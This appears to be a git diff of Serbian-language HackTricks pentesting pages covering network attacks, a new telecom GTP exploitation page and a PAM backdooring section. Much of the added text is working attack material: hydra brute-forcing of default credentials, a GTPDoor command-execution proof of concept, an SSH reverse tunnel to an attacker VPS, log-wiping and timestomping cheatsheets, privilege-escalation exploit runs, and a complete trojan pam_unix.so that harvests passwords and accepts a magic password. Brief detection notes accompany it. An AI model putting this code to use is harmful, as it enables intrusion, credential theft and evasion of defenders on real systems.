- **Naša IP adresa (Gateway Advertisement)**: Koristite `-i 10.0.0.100` da reklamirate IP adresu vaše mašine kao gateway.
|
||||
- **Lokalno DNS ime domena**: Opcionalno, koristite `-d example.org` da postavite lokalno DNS ime domena.
|
||||
- **Originalni Router/Gateway IP**: Koristite `-r 10.0.0.1` da navedete IP adresu legitimnog rutera ili gateway-a.
|
||||
- **Primarna DNS Server IP**: Koristite `-p 10.0.0.100` da postavite IP adresu rogue DNS servera koji kontrolišete.
|
||||
@ -516,7 +516,7 @@ Ispod su opcije komandi za konfiguraciju rogue DHCP servera:
|
||||
- **Interfejs za DHCP saobraćaj**: Koristite `-I eth1` da slušate DHCP saobraćaj na određenom mrežnom interfejsu.
|
||||
- **WPAD konfiguraciona adresa**: Koristite `-w “http://10.0.0.100/wpad.dat”` da postavite adresu za WPAD konfiguraciju, pomažući u presretanju web saobraćaja.
|
||||
- **Spoof Default Gateway IP**: Uključite `-S` da lažirate IP adresu podrazumevanog gateway-a.
|
||||
- **Odgovarajte na sve DHCP zahteve**: Uključite `-R` da server odgovara na sve DHCP zahteve, ali budite svesni da je ovo bučno i može biti otkriveno.
|
||||
- **Odgovoriti na sve DHCP zahteve**: Uključite `-R` da server odgovara na sve DHCP zahteve, ali budite svesni da je ovo bučno i može biti otkriveno.
|
||||
|
||||
Ispravnim korišćenjem ovih opcija, rogue DHCP server može biti uspostavljen za efikasno presretanje mrežnog saobraćaja.
|
||||
```python
|
||||
@ -533,13 +533,13 @@ Evo nekih od taktika napada koje se mogu koristiti protiv 802.1X implementacija:
|
||||
- Prisiljavanje EAP-MD5 autentifikacije da zaobiđe TLS validaciju sertifikata
|
||||
- Umetanje zlonamernog mrežnog saobraćaja prilikom autentifikacije koristeći hub ili slično
|
||||
|
||||
Ako je napadač između žrtve i servera za autentifikaciju, mogao bi pokušati da degradira (ako je potrebno) autentifikacijski protokol na EAP-MD5 i snimi pokušaj autentifikacije. Tada bi mogao da koristi brute-force za ovo:
|
||||
Ako je napadač između žrtve i servera za autentifikaciju, mogao bi pokušati da degradira (ako je potrebno) autentifikacijski protokol na EAP-MD5 i snimi pokušaj autentifikacije. Zatim bi mogao da koristi brute-force za ovo:
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) napadi <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (Protokol za redundanciju prvog skoka) je klasa mrežnih protokola dizajniranih da **stvore vrući redundantni sistem rutiranja**. Sa FHRP-om, fizički ruteri mogu biti kombinovani u jedan logički uređaj, što povećava otpornost na greške i pomaže u raspodeli opterećenja.
|
||||
**FHRP** (Protokol za redundanciju prvog skoka) je klasa mrežnih protokola dizajniranih da **stvore vrući redundantni sistem usmeravanja**. Sa FHRP-om, fizički ruteri mogu biti kombinovani u jedan logički uređaj, što povećava otpornost na greške i pomaže u raspodeli opterećenja.
|
||||
|
||||
**Inženjeri Cisco Systems-a su razvili dva FHRP protokola, GLBP i HSRP.**
|
||||
|
||||
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Poznate su tri verzije Protokola za informisanje o rutiranju (RIP): RIP, RIPv2 i RIPng. Datagrami se šalju partnerima putem porta 520 koristeći UDP kod RIP-a i RIPv2, dok se datagrami emitiraju na UDP port 521 putem IPv6 multicast-a kod RIPng-a. Podrška za MD5 autentifikaciju uvedena je u RIPv2. S druge strane, nativna autentifikacija nije uključena u RIPng; umesto toga, oslanja se na opcione IPsec AH i ESP zaglavlja unutar IPv6.
|
||||
Poznate su tri verzije Protokola za informisanje o rutiranju (RIP): RIP, RIPv2 i RIPng. Datagrami se šalju partnerima putem porta 520 koristeći UDP kod RIP-a i RIPv2, dok se datagrami emitiraju na UDP port 521 putem IPv6 multicast-a kod RIPng. Podrška za MD5 autentifikaciju uvedena je u RIPv2. S druge strane, nativna autentifikacija nije uključena u RIPng; umesto toga, oslanja se na opcione IPsec AH i ESP zaglavlja unutar IPv6.
|
||||
|
||||
- **RIP i RIPv2:** Komunikacija se vrši putem UDP datagrama na portu 520.
|
||||
- **RIPng:** Koristi UDP port 521 za emitovanje datagrama putem IPv6 multicast-a.
|
||||
@ -558,17 +558,17 @@ Napomena: RIPv2 podržava MD5 autentifikaciju dok RIPng ne uključuje nativnu au
|
||||
|
||||
### EIGRP napadi
|
||||
|
||||
**EIGRP (Protokol za unapređeno unutrašnje rutiranje)** je dinamički protokol rutiranja. **To je protokol zasnovan na udaljenosti.** Ako nema **autentifikacije** i konfiguracije pasivnih interfejsa, **napadač** može ometati EIGRP rutiranje i izazvati **trovanje tabela rutiranja**. Štaviše, EIGRP mreža (drugim rečima, autonomni sistem) **je ravna i nema segmentaciju u bilo koje zone**. Ako **napadač injektuje rutu**, verovatno će se ova ruta **proširiti** kroz autonomni EIGRP sistem.
|
||||
**EIGRP (Protokol za unapređeno unutrašnje usmeravanje)** je dinamički protokol usmeravanja. **To je protokol zasnovan na udaljenosti.** Ako nema **autentifikacije** i konfiguracije pasivnih interfejsa, **napadač** može ometati EIGRP usmeravanje i izazvati **trovanje tabela usmeravanja**. Štaviše, EIGRP mreža (drugim rečima, autonomni sistem) **je ravna i nema segmentaciju u bilo koje zone**. Ako **napadač ubrizga rutu**, verovatno će se ova ruta **proširiti** kroz autonomni EIGRP sistem.
|
||||
|
||||
Napad na EIGRP sistem zahteva **uspostavljanje komšiluka sa legitimnim EIGRP ruterom**, što otvara mnoge mogućnosti, od osnovne rekognosciranja do raznih injekcija.
|
||||
Napad na EIGRP sistem zahteva **uspostavljanje komšiluka sa legitimnim EIGRP ruterom**, što otvara mnoge mogućnosti, od osnovne rekognosciranja do raznih ubrizgavanja.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) vam omogućava da implementirate **virtuelni ruter koji podržava BGP, OSPF, EIGRP, RIP i druge protokole.** Sve što treba da uradite je da ga postavite na sistem napadača i zapravo možete da se pretvarate da ste legitimni ruter u rutirajućem domenu.
|
||||
[**FRRouting**](https://frrouting.org/) vam omogućava da implementirate **virtuelni ruter koji podržava BGP, OSPF, EIGRP, RIP i druge protokole.** Sve što treba da uradite je da ga postavite na sistem napadača i možete se zapravo pretvarati da ste legitimni ruter u domenu usmeravanja.
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) ima mogućnosti za presretanje EIGRP (Protokol za unapređeno unutrašnje rutiranje) emitovanja. Takođe omogućava injekciju paketa, što se može koristiti za promenu konfiguracija rutiranja.
|
||||
[**Coly**](https://code.google.com/p/coly/) ima mogućnosti za presretanje EIGRP (Protokol za unapređeno unutrašnje usmeravanje) emitovanja. Takođe omogućava ubrizgavanje paketa, što se može koristiti za promenu konfiguracija usmeravanja.
|
||||
|
||||
### OSPF
|
||||
|
||||
@ -638,7 +638,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
Za lokalno rešavanje hostova kada DNS pretrage nisu uspešne, Microsoft sistemi se oslanjaju na **Link-Local Multicast Name Resolution (LLMNR)** i **NetBIOS Name Service (NBT-NS)**. Slično tome, **Apple Bonjour** i **Linux zero-configuration** implementacije koriste **Multicast DNS (mDNS)** za otkrivanje sistema unutar mreže. Zbog neautentifikovane prirode ovih protokola i njihove operacije preko UDP, emitovanjem poruka, mogu ih iskoristiti napadači koji imaju za cilj da preusmere korisnike na zlonamerne usluge.
|
||||
|
||||
Možete se pretvarati da ste usluge koje traže hostovi koristeći Responder za slanje lažnih odgovora.\
|
||||
Pročitajte ovde više informacija o [kako se pretvarati da ste usluge sa Responderom](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Pročitajte ovde više informacija o [kako se pretvarati u usluge sa Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
@ -646,9 +646,9 @@ Pregledači obično koriste **Web Proxy Auto-Discovery (WPAD) protokol za automa
|
||||
|
||||
- Kroz **DHCP**, gde se otkrivanje olakšava korišćenjem posebnog koda 252.
|
||||
- Preko **DNS**, što uključuje pretragu za imenom hosta označenim kao _wpad_ unutar lokalne domene.
|
||||
- Putem **Microsoft LLMNR i NBT-NS**, koji su mehanizmi povratne veze korišćeni u slučajevima kada DNS pretrage ne uspevaju.
|
||||
- Putem **Microsoft LLMNR i NBT-NS**, koji su mehanizmi povratne podrške korišćeni u slučajevima kada DNS pretrage ne uspevaju.
|
||||
|
||||
Alat Responder koristi ovaj protokol delujući kao **zlonameran WPAD server**. Koristi DHCP, DNS, LLMNR i NBT-NS da zavara klijente da se povežu sa njim. Da biste dublje istražili kako se usluge mogu pretvarati koristeći Responder [proverite ovo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Alat Responder koristi ovaj protokol tako što deluje kao **zlonameran WPAD server**. Koristi DHCP, DNS, LLMNR i NBT-NS da zavara klijente da se povežu sa njim. Da biste dublje istražili kako se usluge mogu pretvarati koristeći Responder [proverite ovo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
@ -704,7 +704,7 @@ Napomena: da bi se izvršio ovaj napad, žrtva mora prvo pokušati da pristupi [
|
||||
|
||||
Više informacija [ovde](https://www.bettercap.org/legacy/#hsts-bypass), [ovde](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [ovde](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip ili sslStrip+ više ne funkcionišu. To je zato što postoje HSTS pravila unapred sačuvana u pregledačima, tako da čak i ako je prvi put da korisnik pristupa "važnom" domenu, on će mu pristupiti putem HTTPS. Takođe, obratite pažnju da unapred sačuvana pravila i druga generisana pravila mogu koristiti oznaku** [**`includeSubdomains`**](https://hstspreload.appspot.com) **tako da** _**wwww.facebook.com**_ **primer iz prethodnog dela više neće raditi jer** _**facebook.com**_ **koristi HSTS sa `includeSubdomains`.**
|
||||
**sslStrip ili sslStrip+ više ne funkcionišu. To je zato što postoje HSTS pravila unapred sačuvana u pregledačima, tako da čak i ako je prvi put da korisnik pristupa "važnom" domenu, on će mu pristupiti putem HTTPS. Takođe, obratite pažnju da unapred sačuvana pravila i druga generisana pravila mogu koristiti oznaku** [**`includeSubdomains`**](https://hstspreload.appspot.com) **tako da** _**wwww.facebook.com**_ **primer iz prethodnog neće više raditi jer** _**facebook.com**_ **koristi HSTS sa `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -733,10 +733,10 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
Ponekad, ako klijent proveri da li je CA validan, mogli biste **poslužiti sertifikat drugog imena hosta potpisan od strane CA**.\
|
||||
Još jedan zanimljiv test je da se poslužite **sertifikatom traženog imena hosta, ali samopotpisanim**.
|
||||
Ponekad, ako klijent proveri da li je CA validan, mogli biste **poslužiti sertifikat druge hostname potpisan od strane CA**.\
|
||||
Još jedan zanimljiv test je da poslužite **sertifikat tražene hostname, ali samopotpisan**.
|
||||
|
||||
Druge stvari koje treba testirati su pokušaj potpisivanja sertifikata sa validnim sertifikatom koji nije validan CA. Ili koristiti validni javni ključ, naterati da se koristi algoritam kao što je diffie hellman (onaj koji ne zahteva dešifrovanje bilo čega sa pravim privatnim ključem) i kada klijent zatraži probe pravog privatnog ključa (kao što je hash) poslati lažnu probu i očekivati da klijent to ne proveri.
|
||||
Druge stvari koje treba testirati su pokušaj potpisivanja sertifikata sa validnim sertifikatom koji nije validan CA. Ili koristiti validni javni ključ, primorati korišćenje algoritma kao što je diffie hellman (onog koji ne zahteva dešifrovanje bilo čega sa pravim privatnim ključem) i kada klijent zatraži probe pravog privatnog ključa (kao što je hash) poslati lažnu probu i očekivati da klijent to ne proveri.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -770,7 +770,7 @@ Imajte na umu da kada se UDP paket pošalje uređaju koji nema traženi port, š
|
||||
|
||||
### **ARP discover**
|
||||
|
||||
ARP paketi se koriste za otkrivanje koji IP-ovi se koriste unutar mreže. PC mora poslati zahtev za svaku moguću IP adresu i samo će se one koje se koriste odazvati.
|
||||
ARP paketi se koriste za otkrivanje koji IP-ovi se koriste unutar mreže. PC mora poslati zahtev za svaku moguću IP adresu, a samo oni koji se koriste će odgovoriti.
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
|
||||
@ -794,6 +794,13 @@ Bettercap emituje SSDP pakete tražeći sve vrste usluga (UDP Port 1900).
|
||||
|
||||
Bettercap emituje WSD pakete tražeći usluge (UDP Port 3702).
|
||||
|
||||
|
||||
### Telecom / Mobile-Core (GTP) Exploitation
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Eksploatacija Telekom Mreže (GTP / Roaming Okruženja)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Protokoli mobilne jezgre (GPRS Tunneling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone mreže. Pošto se oslanjaju na običan UDP sa gotovo bez autentifikacije, **bilo koja pozicija unutar telekom perimetra obično može direktno da dođe do osnovnih signalisanja**. Sledeće beleške sakupljaju ofanzivne trikove primećene u praksi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
|
||||
|
||||
## 1. Recon & Početni Pristup
|
||||
|
||||
### 1.1 Podrazumevani OSS / NE Nalozi
|
||||
Iznenađujuće veliki set mrežnih elemenata proizvođača dolazi sa hard-kodiranim SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećena lista reči dramatično povećava uspeh brute-force napada:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Ako uređaj izlaže samo upravljački VRF, prvo se prebacite preko jump host-a (vidi odeljak «SGSN Emu Tunnel» ispod).
|
||||
|
||||
### 1.2 Otkriće hostova unutar GRX/IPX
|
||||
Većina GRX operatera još uvek dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP probe-ovima da brzo mapirate GTP-C slušaoce:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumeracija Pretplatnika – `cordscan`
|
||||
|
||||
Sledeći Go alat kreira **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji služi upitanoj IMSI i, ponekad, posetjeni PLMN pretplatnika.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Ključne zastavice:
|
||||
- `--imsi` IMSI ciljanog pretplatnika
|
||||
- `--oper` Domaći / HNI (MCC+MNC)
|
||||
- `-w` Zapiši sirove pakete u pcap
|
||||
|
||||
Važne konstante unutar binarnog fajla mogu se ispraviti kako bi se proširili skenovi:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Izvršavanje koda preko GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` je mali ELF servis koji **vezuje UDP 2123 i analizira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tagom, ostatak se dekriptuje (AES-128-CBC) i izvršava putem `/bin/sh -c`. stdout/stderr se exfiltriraju unutar **Echo Response** poruka tako da nijedna spoljašnja sesija nikada nije kreirana.
|
||||
|
||||
Minimalni PoC paket (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detection:
|
||||
* bilo koji host koji šalje **neizbalansirane Echo zahteve** ka SGSN IP-ovima
|
||||
* GTP verzija oznaka postavljena na 1 dok je tip poruke = 1 (Echo) – odstupanje od specifikacije
|
||||
|
||||
## 4. Pivoting Through the Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` isporučuje SGSN emulator sposoban da **uspostavi PDP kontekst prema pravom GGSN/PGW**. Kada se pregovara, Linux prima novu `tun0` interfejs koji je dostupan od roaming partnera.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Sa pravilnim usmeravanjem kroz firewall, ovaj tunel zaobilazi VLAN-ove koji se koriste samo za signalizaciju i direktno vas dovodi u **data plane**.
|
||||
|
||||
### 4.2 SSH obrnuti tunel preko porta 53
|
||||
DNS je gotovo uvek otvoren u roaming infrastrukturnim mrežama. Izložite internu SSH uslugu vašem VPS-u koja sluša na :53 i vratite se kasnije sa kuće:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Proverite da li je `GatewayPorts yes` omogućeno na VPS-u.
|
||||
|
||||
## 5. Tajni Kanali
|
||||
|
||||
| Kanal | Transport | Dekodiranje | Napomene |
|
||||
|-------|-----------|-------------|----------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtni ključ + 14-bajtni delovi (XOR) | čist pasivni slušalac, bez izlaznog saobraćaja |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (ključ = `funnyAndHappy`) kodiran u A-zapisu okteta | prati `*.nodep` poddomen |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | meša se sa legitimnim GTP-C razgovorima |
|
||||
|
||||
Svi implanti implementiraju watchdog-ove koji **timestomp** njihove binarne datoteke i ponovo se pokreću ako se sruše.
|
||||
|
||||
## 6. Cheatsheet za Izbegavanje Odbrane
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
|
||||
# Disable bash history
|
||||
export HISTFILE=/dev/null
|
||||
|
||||
# Masquerade as kernel thread
|
||||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Eskalacija privilegija na nasleđenim NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
||||
# PwnKit – CVE-2021-4034
|
||||
python3 PwnKit.py
|
||||
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Savjet za čišćenje:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Alat
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – prilagođeni alati opisani u prethodnim sekcijama.
|
||||
* `FScan` : intranet TCP skeniranja (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS lažni WPAD
|
||||
* `Microsocks` + `ProxyChains` : lagano SOCKS5 preusmeravanje
|
||||
* `FRP` (≥0.37) : NAT prolaz / mostovanje resursa
|
||||
|
||||
---
|
||||
## Ideje za Detekciju
|
||||
1. **Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests**.
|
||||
2. **Nestandardni portovi (53, 80, 443) koji primaju SSH rukovanja** sa internih IP adresa.
|
||||
3. **Česti Echo Zahtevi bez odgovarajućih Echo Odgovora** – mogu ukazivati na GTPDoor signale.
|
||||
4. **Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifikatorima/sekvencama**.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Palo Alto Unit42 – Infiltracija globalnih telekom mreža](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunneling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,7 +4,7 @@
|
||||
|
||||
### Osnovne Informacije
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** deluje kao bezbednosni mehanizam koji **verifikuje identitet korisnika koji pokušavaju da pristupe računarskim uslugama**, kontrolišući njihov pristup na osnovu različitih kriterijuma. Slično je digitalnom čuvaru, osiguravajući da samo ovlašćeni korisnici mogu da koriste određene usluge, dok potencijalno ograničava njihovu upotrebu kako bi se sprečilo preopterećenje sistema.
|
||||
**PAM (Pluggable Authentication Modules)** deluje kao bezbednosni mehanizam koji **proverava identitet korisnika koji pokušavaju da pristupe računarskim uslugama**, kontrolišući njihov pristup na osnovu različitih kriterijuma. Slično je digitalnom čuvaru, osiguravajući da samo ovlašćeni korisnici mogu da koriste određene usluge, dok potencijalno ograničava njihovu upotrebu kako bi se sprečilo preopterećenje sistema.
|
||||
|
||||
#### Konfiguracione Datoteke
|
||||
|
||||
@ -24,9 +24,9 @@ password required /lib/security/pam_ldap.so
|
||||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
#### **PAM upravljački domeni**
|
||||
#### **PAM upravljanje domenama**
|
||||
|
||||
Ovi domeni, ili upravljačke grupe, uključuju **auth**, **account**, **password** i **session**, svaki odgovoran za različite aspekte procesa autentifikacije i upravljanja sesijama:
|
||||
Ove domene, ili upravljačke grupe, uključuju **auth**, **account**, **password** i **session**, svaka odgovorna za različite aspekte procesa autentifikacije i upravljanja sesijama:
|
||||
|
||||
- **Auth**: Validira identitet korisnika, često tražeći lozinku.
|
||||
- **Account**: Rukuje verifikacijom naloga, proveravajući uslove kao što su članstvo u grupi ili ograničenja vremena.
|
||||
@ -39,15 +39,70 @@ Kontrole određuju odgovor modula na uspeh ili neuspeh, utičući na celokupni p
|
||||
|
||||
- **Required**: Neuspeh obaveznog modula rezultira konačnim neuspehom, ali tek nakon što su svi naredni moduli provereni.
|
||||
- **Requisite**: Odmah prekida proces u slučaju neuspeha.
|
||||
- **Sufficient**: Uspeh zaobilazi ostale provere istog domena osim ako neki naredni modul ne ne uspe.
|
||||
- **Optional**: Uzrokuje neuspeh samo ako je jedini modul u steku.
|
||||
- **Sufficient**: Uspeh zaobilazi ostale provere iste domene osim ako neki naredni modul ne ne uspe.
|
||||
- **Optional**: Uzrokuje neuspeh samo ako je to jedini modul u steku.
|
||||
|
||||
#### Primer scenarija
|
||||
|
||||
U postavci sa više auth modula, proces prati strogi redosled. Ako `pam_securetty` modul pronađe da je terminal za prijavu neovlašćen, root prijave su blokirane, ali se svi moduli i dalje obrađuju zbog njegovog "required" statusa. `pam_env` postavlja promenljive okruženja, potencijalno pomažući u korisničkom iskustvu. Moduli `pam_ldap` i `pam_unix` rade zajedno na autentifikaciji korisnika, pri čemu `pam_unix` pokušava da koristi prethodno dostavljenu lozinku, poboljšavajući efikasnost i fleksibilnost u metodama autentifikacije.
|
||||
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
Klasična trik za postizanje trajnosti u visokovrednim Linux okruženjima je **zamena legitimne PAM biblioteke sa trojanskim drop-in**. Budući da svaka SSH / konzolna prijava poziva `pam_unix.so:pam_sm_authenticate()`, nekoliko redova C koda je dovoljno da se uhvate akreditivi ili implementira *magic* zaobilaženje lozinke.
|
||||
|
||||
### Cheatsheet za kompajliranje
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||||
static const char *MAGIC = "Sup3rS3cret!";
|
||||
|
||||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
const char *user, *pass;
|
||||
pam_get_user(pamh, &user, NULL);
|
||||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||||
|
||||
/* Magic pwd → immediate success */
|
||||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||||
|
||||
/* Credential harvesting */
|
||||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||||
dprintf(fd, "%s:%s\n", user, pass);
|
||||
close(fd);
|
||||
|
||||
/* Fall back to original function */
|
||||
if(!orig) {
|
||||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
}
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
Kompajlirati i neprimetno zameniti:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
mv pam_unix.so /lib/security/pam_unix.so
|
||||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Saveti
|
||||
1. **Atomic overwrite** – pišite u privremenu datoteku i `mv` u mesto kako biste izbegli polu-napisane biblioteke koje bi blokirale SSH.
|
||||
2. Postavljanje log datoteka kao što je `/usr/bin/.dbus.log` se stapa sa legitimnim desktop artefaktima.
|
||||
3. Držite izvoz simbola identičnim (`pam_sm_setcred`, itd.) kako biste izbegli nepravilno ponašanje PAM-a.
|
||||
|
||||
### Detekcija
|
||||
* Uporedite MD5/SHA256 `pam_unix.so` sa paketom distribucije.
|
||||
* Proverite za datoteke koje su dostupne za pisanje svima ili neobično vlasništvo pod `/lib/security/`.
|
||||
* `auditd` pravilo: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### Reference
|
||||
|
||||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user